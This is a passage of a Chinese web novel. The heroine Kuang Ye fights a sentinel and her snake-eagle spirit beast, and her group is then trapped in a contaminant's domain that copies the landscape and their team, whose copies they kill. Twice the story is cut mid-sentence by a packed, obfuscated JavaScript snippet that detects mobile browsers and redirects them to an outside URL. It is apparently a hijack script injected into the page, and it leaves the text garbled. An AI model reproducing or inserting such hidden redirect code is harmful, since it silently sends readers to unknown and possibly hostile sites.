明明在车上啊！ 亲眼看到坐在车上的林辛宥出现在镜头，恐惧一点一滴在拓荒者们心里堆积。 如果车上的是林辛宥，回去的孩子是谁？ 如果回去的是林辛宥，那车上的……是谁？ > 七八米外的况野没法看到视频，但直觉事情不对。 所有人的站位突然远离了林辛宥所在的越野，像是里面有什么可怕的东西。 况野正调整望远镜角度，忽然若有所感向左前俯身，下一秒车窗碎裂，一柄匕首划过她头顶，深深扎进了另一侧车门里！ 偷袭者不知何时摸到她身后发动了攻击！ 况野来不及看碎完了的车窗一眼，闷头推门逃出，又是两声物体被贯穿的闷响，匕首刀柄留在座位上摇晃。 “还不错嘛，没有马上死。” 野草弯曲，合拢，穿着战斗服的高个女人从树后绕出。她招手，羽毛灰黑的蛇雕落在胳膊上。 况野心猛地一沉，意识到自己犯了个大错。 哨兵常见的精神体类型不仅有走兽，还有猛禽。在飞鸟精神体俯瞰下，大地上一切无所遁形。 “偷听得开心吗，小姑娘？”哨兵和善地笑着，摸了摸蛇雕收起的羽翼。表情温和，说的话却不温和，“多让你死之前偷听了一会，死的时候就别恨我啦。” 哨兵在污染区杀人，理由都不用找。 况野紧盯着哨兵和蛇雕，摸向腰后。刚才在遇袭的同时她把扳手塞进了储物囊，储物囊里装满她出发前准备好用来合成的物品。 脊背肌肉一块块紧绷，况野暂时无暇管黄博士那边的异变了。她接触过不少哨兵，每个实力不同的哨兵散发的压力也不同。 况野微微弓背，双腿蓄力，这是准备迎战的姿势。 她察觉得到这个哨兵很强，比B+级的白少凌还要强上不少！ 况野一把抽出合成后的扳手：“谢谢。但是我还不准备死。” 12. chapter 12 看清况野抽出来的武器，哨兵没忍住哈了一声，半边眉毛高高挑起。 那是一柄锯齿状的大剑，要多丑有多丑。 哨兵失去了继续说两句的兴趣，她挥臂驱动蛇雕，自己骤然冲刺，一人一精神体皆向况野扑去！ 速度型。 和自身精神体蛇雕的特点相似，这名哨兵拥有出色的爆发速度，最快时速接近子弹射速。此刻她眼里一切都像慢放了，况野就像蛇雕食谱上的老鼠，只等她钳住脖颈一拧，便会瞬间死亡。 面对普通人反应不过来的瞬间，况野翻腕将锯齿剑举过头顶格挡，与此同时朝前提膝猛踹！ 蛇雕和哨兵的速度太快了，几乎化为两道残影，不是肉眼所能准确捕捉的。况野只能凭借听觉和感觉去判断，这一脚毫不留力，尽管哨兵在最后时刻闪躲了，但被况野踹中的一侧肋骨甚至发出了轻微的断裂声！ 向下俯冲的蛇雕突进失败，爪子重重撞上了锯齿，蛇雕嘶鸣着重新飞起，宽大羽翼将况野带了个踉跄。 “有点意思。” 哨兵按了一下身侧，肋骨骨裂这点疼痛算不了什么，却刺激她扯出一个笑容。没想到这个看起来很弱的Beta力气大得惊人，这一脚爆发的力道足够把人踹飞好几米。 比起这个更让她恼怒的是蛇雕的爪子居然被锯齿割伤了，精神体受伤的疼痛同步反馈到哨兵脑内。 “你的武器不错，”哨兵目光落在况野举起的锯齿剑上，一般武器伤害不了精神体，除非枪炮和超高强度的武器，“但也仅此而已了。” 哨兵忽然发动，像是原地蒸发般消失，紧接着一道又一道匕首从四面八方飞来，况野发现这些匕首不仅仅封死了所有可躲避的方位，破开的风声干扰了她靠声音确定哨兵的位置。 那便都斩开。 况野挥剑，有一定重量的锯齿剑在她手里就像挥动水果刀那么轻松，在对撞中匕首如雨坠落，有两柄因为猛烈对冲出现了崩裂。 可就在这时，况野突然察觉到了头顶极其细微的气流，空中盘旋的蛇雕不知什么时候悄悄下落，张大的利爪即将落在她头顶；而余光同时瞥到了鬼魅般出现在她身后的哨兵。 全都是况野视野盲区发动的攻击。 力气？武器？在绝对的实力差距面前什么也不是。 这几年况野有意识地想办法学了不少格斗技巧，但对上白塔训练出来的哨兵还是不够看的。 在脑袋被蛇雕像是西瓜捏爆和被哨兵拧断脊柱间，况野选择凭借直觉侧滚，竖起剑身—— 肉被贯穿的闷响，血一滴滴从况野手背流下来。 她的左手被蛇雕的喙部扎穿了，利爪也在她腰间抓出了血肉模糊的伤口，但她反过来死死抓住了精神体的头部，右手的锯齿剑从蛇雕右翼穿出！ 肾上腺素让况野感受不到多少疼痛，左手只有麻木，她看着盛怒的对她即将刺下匕首的哨兵，锯齿剑忽然猛地转动！ 滚链带动突起的锋利锯齿高速旋转，蛇雕翅膀爆出一蓬血雾，油亮光泽的羽毛被瞬间绞碎。 锯齿剑居然有像电锯那样高速切割的功能！ 况野：不会旋转的锯齿剑不是好扳手。 和扳手合成的锯齿部分是她从拓荒者不要的电锯上拆下来的，恰好能卡在扳手里组成类似剑的武器。除了强化了锈迹斑斑的锯齿，还有意外之喜，扳手能短时间启动电锯。 况野调转电锯方向朝蛇雕脑袋劈去，看看是哨兵更快割断她脖子，还是电锯更快！ 情急之下，哨兵不得不中断攻击，让自己的精神体消失，回到精神图景中疗伤。 哨兵和精神体一体，蛇雕半边翅膀被砍断，回到精神图景还在哀鸣，而她自己的状态也被严重影响，无数噪音扰乱着耳膜，脑袋承受着针扎般剧痛。 真狠啊。 哨兵努力控制紊乱的精神力，看着灰头土脸，左手还在不断往下淌血的况野从地上爬起来，恨恨地想。 她的精神体很久没受这么严重的伤，哪怕手被扎穿也要搏命，是她太轻视污染区的臭鱼烂虾。 况野暂停了电锯，扳手没吃饱前每天能量有限，得省着点用。她甩了甩锯齿剑上的血，思考着下一步如何进攻。 这是她第一次正儿八经和哨兵交手。 对方没用全力仍旧比她强很多，她能重创精神体，靠的是启动电锯的出其不意。单凭战斗技巧和经验，况野目前对上白塔哨兵没有胜算。 “连解决一个路人都要用这么久，蔺琅，你还真是上年纪了啊大姐。” 况野和哨兵双双变了脸色，况野听到脑后距离她不远咔哒上膛一声，血都凉了。 第二个哨兵瞄准况野后脑勺从草后走出，“费那么大劲，一枪崩了多快。” “闭嘴！”蔺琅扬手，嗖地冲队友飞出一柄匕首，“你能不能活到我这个年纪还不一定呢。” 匕首在更年轻的哨兵面前静止了，而后就像撞上了一堵透明的墙，反弹了回去。 “出事了，博士叫你过去。”哨兵牢牢抓住况野，将冰冷坚硬的枪口压到她脑袋上。 况野条件发射地抖了一下，扳手在手里，她却动都不敢动。这么近的距离，就算她抢先动手，哨兵也能开枪直接轰掉她半边脑袋。 万幸哨兵下一秒说，“把她也带上，没准用得上。” 蔺琅皱了皱眉：“发生什么事了？”她和况野打得激烈，无暇关注周围。 “天啦大姐，”哨兵假装大惊小怪地嘲讽，“您真是老眼昏花。” 他抬起下巴示意蔺琅往远处看，装出来的笑意全无—— 一望无际，安静翻滚的草海里，两座一模一样的残破信号塔，一左一右，相对矗立。 > 在靠近F7区的这一大片草地里，最显眼的就是那座残破信号塔，任何人一抬眼就能看到它。 应该是很久之前人类在这里建造的，大多数部件脱落，只剩下腐朽的支架。 况野一边被押着往黄博士的方向走去，一边抬头观察信号塔。可是现在，凭空多出了一座信号塔。 “你迟到了两分十三秒。”看到两个哨兵押着况野回来，黄博士说。 蔺琅的表情不怎么好看。换谁精神体受伤，又被领导当众训斥，生理精神上都不会太舒服。 同样像吃了苍蝇一样的还有塞西尔少爷，看见况野好端端出现的愤怒一秒撕掉了他伪装的温驯外衣，当即尖叫着命令哨兵杀了她。 况野淡定地瘫着一张脸，眼神里写满了“你看有人理你吗”。 某些时候况野真的很会气人。比如现在塞西尔少爷愣是被她的无所谓气得发疯，差点就要亲自抢枪，扣下扳机。 但黄博士一个侧头就让塞西尔少爷瞬间清醒，后背出了层冷汗。 研究员们和这两个哨兵都只听黄博士命令，哪怕塞西尔少爷不怎么好使的脑子，都怀疑他要是真头脑发热枪杀况野，哨兵会因为他违反黄博士的命令也杀了他。 无视塞西尔少爷结结巴巴的道歉，黄博士随意地问况野：“你是什么人？” 话到嘴边又被况野咽回去了。 黄博士为什么要这么问？ 刚刚偷看况野足以了解黄博士的行事作风，严格，按章程行事，强硬，聪明。同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372837|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时这位联盟中心的研究员不怎么在乎人命，塞西尔少爷当着他面殴打陌陌他并没有制止，自己被发现偷听后第一反应是杀了自己。 况野不怀疑假如015小队没有按照黄博士的指示接受检查，对方会采取暴力手段的。 况野沉默了一会，慢慢地说，“我觉醒了精神体。” 这个回答看似牛头不对马嘴，但况野认为是这个时候最好的回答。 015小队有异常，出现了一模一样的信号塔，显然有异常状况发生了。这种时候，身份不重要，重要的是有没有价值。 一个觉醒了精神体的战力比拓荒者的官方身份更有用。 “撒什么谎呢小姑娘，”蔺琅对况野比对队友态度表面温柔得多，像听到什么笑话似的，“我怎么不知道白塔有你这号人？” “我可以证明！” 忽地有人说话了。 陌陌擦掉嘴角血沫，指着塞西尔少爷含混但大声说，“塞西尔少爷明明也知道！” “我……”塞西尔少爷想否认，却又害怕欺骗黄博士的下场。 黄博士轻轻“嗯”了一声，他的五官清淡，视线落在人身上时却像手术刀剖开皮肉，给人十足压力感。 他打量着况野，想起什么似的，“姓况？” 况野点头。 “放开她吧。”黄博士转身，“来说说我们遇到的麻烦。” 压在况野脑袋的枪口终于移开了，她心也随之一松。 况这个姓比较少见，况家也算联盟中心排的上号的家族。不知道黄博士是通过什么精确锚定她身份的，如果是维尔汀港事件，这个研究员真是消息灵通且记忆里超群。 况野站到一边，用015小队某个队员好心给的手帕捂住左手伤口，心里给正在说话的黄博士贴标签。 黄博士双手放在白大褂口袋里，“我有理由认为，我们正处于某个形成中的污染物领域内。” 污染物领域这个词，在场所有人都不陌生。具有一定实力的污染物会扭曲身边的空间，空间范围会随着污染物的移动或者变强扩大，这个空间被称为污染物的领域。 在领域内，污染物是绝对的主导。 维尔汀港的污染物还不算形成了领域，一旦领域形成，从领域逃脱或者外界想要打破领域进入都非常困难。 “使用无人机观测，仪器起飞后不到一分钟就坠毁。分析最后的图像信号，可以发现不光是信号塔，两座信号塔附近的地形，植被完全相同。或者可以断言，出现了两块一模一样的区域” 况野迅速理解了黄博士这番话的内容，就好像有力量复制了这片区域的地图，把相同的地图沿着对称轴粘了上去。 贝尔蒙特队长卡壳了一下，难以置信地问，“那……车上那个孩子？” “可能是污染物复制出来的，也可能是真的。”黄博士严谨地说，“缺少证据，无法做出判断。” “那我们还等什么，赶紧趁领域没形成走啊！”有人说。 大不了不开那辆越野，两辆车咬咬牙还是能塞下这么多人的。 “真这么简单就好了。”黄博士说。 始终往一个方向直走，就能走出污染物的领域，这个想法建立在领域是一个平面空间的前提上。 但空间弯折就是不同的结果。想象一张纸沿一条线弯折，那么走直线的最终结果不是走出领域，而是会回到出发点上，就好像环球航行。 况野捂着伤口没有说话。 她认为还有一种更糟糕的可能：假如那条对称轴跟着他们的行动而不断变化……那他们绝对无法单纯靠走离开领域。 13. chapter 13 “那怎么办……”015拓荒者小队队员喃喃，“难道要杀了污染物？” 虽然拓荒者们不比白塔哨兵，但多多少少都有直面污染物的经历，比普通人更知道污染物的可怕。杀死污染物是彻底清除领域的方法，但他们的实力……可能么？ 黄博士不置可否，“也有难度。” 污染物领域内，污染物有概率不以真实形态出现，它可能是领域内最不起眼的生物，可能是一株植物，又或者可能整个领域都是污染物本身。 一时间拓荒者小队每个人脸色都很难看，尤其贝尔蒙特，身为队长的他无比后悔为什么被悬赏金额迷了眼，以为碰巧遇上林辛宥和陌陌是天降狗屎运。 现在好了，问题十有八九在林辛宥和陌陌身上，是他导致全队陷入险境。 相比之下研究员们就镇定得多，在飞行器忙碌地上上下下，也可能是防护服一穿，外人也看不清他们表情。 “不是他们。” 被污染物领域影响不能使用的飞行器上，又下来几个人。 其中一个略矮的防护服说，“这两个Omega不是污染物。” 看得出贝尔蒙特不相信这个结论，可况野不由自主地稍微直起身，她隐隐约约清楚为什么这个人这样肯定。 这是个向导。 说起来这还是况野觉醒精神体后，第一次接触到向导。 向导对其余哨兵的吸引是一种很奇妙的感觉，事实上况野并不确切地知道自己是哨兵还是向导，可她的视线依旧不受控制跟着那人转动。 就好像每个人原本都有根磁场线，在人群里交织成复杂的网。而只有向导经过的时候，会拨动这张原本平静的网，没有经验的觉醒者们很难忍住不把注意力放在向导身上。 所以，况野眨眨眼，脑内更新认知体验，匹配度高的Alpha和Omega之间也是类似的感受？不是AO恋小说纯粹为了市场编出来的？ 旋即她又意识到，就这么几位研究员配备了一名向导两名哨兵护卫，研究院甚至于白塔，对黄博士此行任务真是极其看重。 黄博士：“李向导，你能感知到污染物的位置么？” “我不能。”李观棋直白地说，“我的精神力只有A级，和污染物距离够近我才能感知到。” 哨兵强化□□，向导强化精神力。 向导为哨兵稳定精神力，降低污染值，疗愈创伤；在战场上感知污染物和核。从某种程度上说，向导比哨兵更珍稀，往往受到严密保护。所以李观棋一直呆在更安全的飞行器上没下来。 况野忽然想到了自己，□□和精神力强化都没多少，她本人包括她的精神体，都是不折不扣的异类。 黄博士不见任何情绪波动，兀自沉思着。 就在这时，一只棕色的企鹅摇摇摆摆地从李观棋身边走到蔺琅那，低下喙，帮翅膀受重伤的蛇雕整理羽毛。因为圆滚滚的，这个动作它做起来有点笨拙。 况野拼命压住喉咙里的笑，后知后觉她是导致蛇雕精神体这么凄凄惨惨的元凶。 如果不是在污染物领域里，况野还真想腆着脸摸摸李观棋的精神体。少见的停留在幼崽形态的王企鹅，像个毛绒绒的大猕猴桃，光看外表手感就很好。 况野感觉李观棋看了她一眼，紧接着安抚过蛇雕的王企鹅幼崽，又蹒跚地向况野走来。 “精神体还能这样？”旁观的015小队队员惊讶，看着王企鹅幼崽把自己塞到况野受伤的左手下，小脑袋一拱一拱的。他们之前也没亲眼见过，只知道向导的精神体可以治疗。 “如果释放精神体，治疗效果会更好。”李观棋友好地说。跟这里的其他人一比，她的身量太娇小了，让人感觉她年龄偏小。 况野紧紧绷着脸，注意不要摸王企鹅幼崽太过火了，恋恋不舍举起左手的时候，血已经止住了。 “谢谢。”况野说。 李观棋：“举手之劳。” 一旁的蔺琅翻了个白眼。 因为污染物，拓荒者小队，况野，以及研究员们三方达成了暂时的和谐。 表面上况野似乎已经忘了刚刚和蔺琅的生死搏斗。她不想错过搜集孢子的机会，但一个人搞定污染物领域听上去像天方夜谭。 她目前准备等合适时机再脱队，想办法搜集孢子。 那边黄博士发话了，决定马上动身。 开不了飞行器，研究员们就把重要物资一趟趟转移到拓荒者小队的车队上，有拓荒者搭把手，物资很快就搬完了。 就在015小队队员将物资放进后备箱时，他听到了车辆的轰鸣，很快放大逼近。队员疑惑地转过身去，然后就像见鬼一样，手剧烈颤抖起来。 一模一样的，不能再熟悉的三辆越野，正气势汹汹驶来。 > 见鬼了，真是大白天见鬼了。 队长贝尔蒙特通过望远镜，确定远处是015拓荒者小队的车不会有错。就连第一辆越野车前杠瘪下去一块也完全一致，那是015小队本次任务在路上撞的，有另一台损伤一模一样的车可能性太低了。 两伙人都上了车，十几道目光紧盯后视镜。 况野被推上了第二辆车，和陌陌，蔺琅坐在一起。贝尔蒙特队长拿着枪，亲自看着林辛宥。 车上会是什么东西？ 伴随车队在视野里逐渐清晰，恐惧不安像是潮水般在所有人心里涨潮。 某个队员喃喃自语：“我记起来了，那条路边有棵树，我们走过时在树下休整了一下……” 仿佛言出法随般，越野车队真的在树下停了下来！ “真他……见鬼了！”贝尔蒙特恶狠狠地说。这个满脸络腮胡的大汉瞳孔紧缩，因为在下车休整的人里他赫然看到了自己！ 不知道未知生物顶着自己的脸，重复和自己一模一样的举动是什么样惊悚的感受。况野看了下时间，从碰上015拓荒者小队到现在差不多过去了快一个小时。 复制。 这个污染物领域不仅仅复制粘贴植被和地形，还复制出了另一队015小队，这些“赝品们”完美复刻着小队之前的举动。 密闭空间空气污浊，况野连想深呼吸平缓心率都不能随意，怕被熏晕。她脑内一帧帧检索昨晚以来的记忆，时间轴倒拨一个小时，那时她位于大树偏北十几米的位置。 现在同一位置上并没有出现第二个她。 空中也没有第二架飞行器。 问题来了，为什么只有015拓荒者小队被领域复制了？ 对讲机里是黄博士冷静的声音：“他们上车了。预计二十秒后进入射程。” 贝尔蒙特一愣：“博士，您是说……” 杀了他们吗？ 贝尔蒙特越看“赝品们”越恍惚，很多习惯性的举动和他们本人别无二致，看久了以至于015拓荒者小队都产生了一种强烈疑惑，哪一边才是真的？他们……是真的吗？ “对方极大可能非人。”黄博士说，“贝尔蒙特队长，过往任务中，你对污染区的异常情况会怎么应对？” 他会抢先杀掉对方。贝尔蒙特下意识在心里说。 污染区里就是这样，犹豫哪怕一秒就容易死亡，不光是为了自己的命，对队友生命负责，他也要这样做。 或许是贝尔蒙特的迟疑让黄博士略微不满，“算了。让蔺琅和叶鸣来。” 蔺琅不屑地轻哼了一声，拉开车门，光明正大暴露在车队视野里。 与此同时对方也发现了他们，车队不但没有寻找掩体，反而加速朝他们冲过来。最前面的防弹车窗摇下，里面的人抬枪就射！ 这……完全是他会做出的反应。贝尔蒙特想。 然而枪声只响了一声，转瞬哑火了。 不知何时出现的蛇雕钳住了枪手的脖子，硬生生将他上半身扯出半开的窗外。 一连串玻璃碎裂和惨叫声，失去方向的越野左右乱晃，蛇雕覆盖着坚硬鳞片的利爪撕开了车顶，光线和死亡落进车里。 砰—— 枪响。叶鸣早已爬上车顶架好支架，他的枪法非常准，稳而有节奏地扣下扳机，将子弹送进大脑。 后面两辆车的驾驶员见状不对，想掉头跑，脖颈忽地被看不见的精神体绞紧，最终活活窒息倒在方向盘上。 这是一场屠杀。 来得突然，结束得也快。 不到两分钟，污染物复制出来的015小队无一生还。 三辆越野就像开了盖的罐头，鲜红的汁液从车门缝里一点点溢出。车门开启，泡在血污里的人软软地滑了出去，眼睛睁开一条缝，失神叫出凶手的名字：“队……长……” 砰！ 叶鸣给他心口补了一枪。 贝尔蒙特倒退好几步，鞋面上溅到了血，干涩地说，“他们没有变成孢子……” 浓烈血腥味让况野的胃里翻江倒海，她别开脸，视线避开血肉模糊的尸体。 污染物伪装出来的生物本质上还是孢子，可等了几分钟这些尸体还保持着死不瞑目的人形，没有崩裂成孢子。况野猜测这，难道说明……他们是人类？ 她眨了眨眼睛，强迫自己再观察复制人尸体仔细一点，没几秒就背过身去，忍不住干呕。 在来这个世界前况野是良好公民，来这个世界后没杀过人。 哪怕只是疑似同类的尸体，对她的冲击也太大了。 “太神奇了。”黄博士低声赞叹。 斯文清秀的研究员轻柔按压着死人手臂，凑近观察皮肤下隐隐透出的血管，如同弹奏昂贵的钢琴。死亡没多久，尸体的肌肉还是柔软的。他分别切割了复制人不同部位的组织做样本，十二具尸体无一遗漏，才回到车上。 这期间陌陌留在车里，况野给了她一些药膏，处理完伤口，Omega整张脸看上去没那么可怕了。 一见到况野回来，陌陌就贴着况野追问，“怎么样，那些怪物是不是都死了？” 在陌陌的观念里，她本人好端端在这里，后面那些冒牌货肯定不是人。 眼前陌陌的脸和她双目圆睁的死相重合在一起，况野努力维持平静。她含糊其辞：“应该吧。” 接下来的路程，他们又碰上了几队复制人。 蔺琅和叶鸣重复着杀戮，补枪的流程，黄博士和研究员们难以抑制对复制人的兴趣，他们甚至低声商议携带走一具尸体的可行性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这意味着不管他们走多久，往哪个方向前进，都永远不可能走出领域。 况野心情相当糟糕，击杀污染物当然是风险和机会并存，可第二次撞上污染物，就碰上这么诡异的污染物是不是太超过了？ 她甚至产生了一种感觉，领域就好像一个迷宫，至今没露面的污染物津津有味地在看他们这些小白鼠在迷宫中乱窜，一旦小白鼠发现正确的道路，就会被污染物捉起来放回出发点。 另一边黄博士也发现了这一点。 他用对讲机告知了其他两台越野当下情况。有况野提前打过预防针，贝尔蒙特他们情绪还算稳定；而最后知道的队员们心态已经崩溃了。 “我们是不是……要死在这里了？” “还不会。或者说我们还不会那么快死。”黄博士冷静指出，“交通工具的油量还够开一周，饮用水和食物也还有三天的量。首要担心的不是物资，而是污染物随时可能攻击。” 015拓荒者小队现在只懂得追问了：“那我们现在怎么办？” “现在，”黄博士说，“需要所有人配合我的计划。” > 三台越野呈三角形，把他们围在里面。 况野视线在场内打转一圈，明明间隔不过三四个小时，015拓荒者小队队员们沧桑得就好像老了好几岁，燃尽的希望和未知的恐惧最折磨人。 拓荒者们看黄博士就像看救星。 人群外围，陌陌靠近况野。潜意识在污染物领域，只有这个和她几面之缘的Beta能给她点安全感。 陌陌小声嘀咕：“也不知道那个博士打算怎么做。” “……我们的利益一致，都是离开这个领域。” 可是对称轴在贴着车队变化。况野在心里无声地说。 “大家可以发现对称轴跟着我们变化。”黄博士开口，“有一个解决的办法。” 况野双臂环胸，远眺的目光落在信号塔塔尖。解决的方法不难，既然对称轴跟随他们移动，那么假如他们分为两部分同时往左右信号塔走，对称轴有可能随着一方活动，也可能固定。 不管如何，总有一队会到达某座信号塔下。 黄博士：“首先，分为两队……” 他宣布的办法和况野所想的分毫不差！ 问题是，没有人甘愿脱离大部队，做探路的小白鼠。谁都清楚这样做面对的风险很大。 如果可以选边的话，所有人都希望能和哨兵向导以及黄博士一队。 果不其然，在黄博士说完后，没有人敢吱声接茬，纷纷回避他的眼神。 “没人自愿的话，由我来指定。”黄博士此时的声音很接近人工智能的电子音，冷漠，专业，平静。 黄博士：“况小姐，第一位。” 越过人群，况野和黄博士短暂对视了。 当然会选她。 况野心想要是她站在黄博士立场上，没有理由不选择自己。从一开始黄博士没杀了她，就是等着危险的时候把她这个来路不明的觉醒者抛出去用的。 接下来黄博士又点了贝尔蒙特和陌陌。 一个觉醒者，一个拓荒者小队队长，都是战力；而陌陌是从F7污染区出来的，虽然李观棋排除了她和林辛宥是污染物伪装的嫌疑，但依旧是个定时炸弹。 黄博士的安排最大限度保证了研究员们安全的同时，方方面面都挑不出错。 “最后一位，塞西尔。” 面对塞西尔少爷惊恐的神情，黄博士递给他一支枪，淡淡地总结：“祝你们和我们都好运。”